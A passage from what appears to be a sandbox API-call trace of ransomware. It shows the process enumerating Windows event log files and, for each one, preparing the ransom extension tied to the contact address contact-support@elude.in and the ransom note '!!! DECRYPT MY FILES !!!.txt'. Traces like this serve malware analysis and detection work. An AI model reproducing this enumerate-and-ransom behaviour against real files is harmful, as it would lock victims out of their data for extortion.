hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0104.039] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-mui%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", len=0x2f | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 1 [0104.039] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", cchLength=0x2f | out: lpsz="c:\\logs\\microsoft-windows-mui%4operational.evtx") returned 0x2f [0104.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.039] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.039] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.039] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0104.039] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-mui%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", len=0x30 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 1 [0104.039] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", cchLength=0x30 | out: lpsz="c:\\logs\\microsoft-windows-ncsi%4operational.evtx") returned 0x30 [0104.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.040] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.040] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.040] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.040] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0104.040] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-ncsi%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", len=0x3a | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 1 [0104.040] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", cchLength=0x3a | out: lpsz="c:\\logs\\microsoft-windows-networkprofile%4operational.evtx") returned 0x3a [0104.040] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.040] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.040] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.040] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.040] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0104.041] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-networkprofile%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", len=0x30 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 1 [0104.041] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", cchLength=0x30 | out: lpsz="c:\\logs\\microsoft-windows-ntfs%4operational.evtx") returned 0x30 [0104.041] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.041] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.041] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.041] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.041] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0104.041] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-ntfs%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", len=0x28 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 1 [0104.041] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", cchLength=0x28 | out: lpsz="c:\\logs\\microsoft-windows-ntfs%4whc.evtx") returned 0x28 [0104.041] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.041] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.041] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.041] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.042] GetProcessHeap () returned 0x630000 [0104.042] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5dd0, Size=0x30) returned 0x6ed5fc8 [0104.042] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0104.042] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-ntfs%4whc.evtx", psz="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", len=0x52 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 1 [0104.042] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cchLength=0x52 | out: lpsz="c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx") returned 0x52 [0104.042] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.042] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.042] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.042] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.043] GetProcessHeap () returned 0x630000 [0104.043] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5fc8, Size=0x34) returned 0x6d5000 [0104.043] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0104.043] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx", psz="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", len=0x36 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 1 [0104.043] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", cchLength=0x36 | out: lpsz="c:\\logs\\microsoft-windows-readyboost%4operational.evtx") returned 0x36 [0104.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.043] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.043] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.043] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0104.043] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-readyboost%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", len=0x48 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 1 [0104.043] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cchLength=0x48 | out: lpsz="c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx") returned 0x48 [0104.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.044] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.044] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.044] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0104.044] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", len=0x31 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 1 [0104.044] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", cchLength=0x31 | out: lpsz="c:\\logs\\microsoft-windows-settingsync%4debug.evtx") returned 0x31 [0104.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.044] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.044] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.045] GetProcessHeap () returned 0x630000 [0104.045] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5000, Size=0x38) returned 0x6d51c0 [0104.045] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0104.045] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-settingsync%4debug.evtx", psz="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", len=0x37 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 1 [0104.045] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", cchLength=0x37 | out: lpsz="c:\\logs\\microsoft-windows-settingsync%4operational.evtx") returned 0x37 [0104.045] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.045] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.045] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.045] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.045] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0104.045] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-settingsync%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", len=0x37 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 1 [0104.045] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cchLength=0x37 | out: lpsz="c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx") returned 0x37 [0104.045] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.046] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.046] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.046] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.046] GetProcessHeap () returned 0x630000 [0104.046] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x3c) returned 0x6fef140 [0104.046] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0104.046] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx", psz="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", len=0x36 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 1 [0104.046] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", cchLength=0x36 | out: lpsz="c:\\logs\\microsoft-windows-shell-core%4operational.evtx") returned 0x36 [0104.046] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.046] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.046] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.046] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.046] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0104.047] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-shell-core%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", len=0x36 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 1 [0104.047] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", cchLength=0x36 | out: lpsz="c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx") returned 0x36 [0104.047] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.047] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.047] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.047] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.047] GetProcessHeap () returned 0x630000 [0104.047] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef140, Size=0x40) returned 0x6fef890 [0104.047] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, 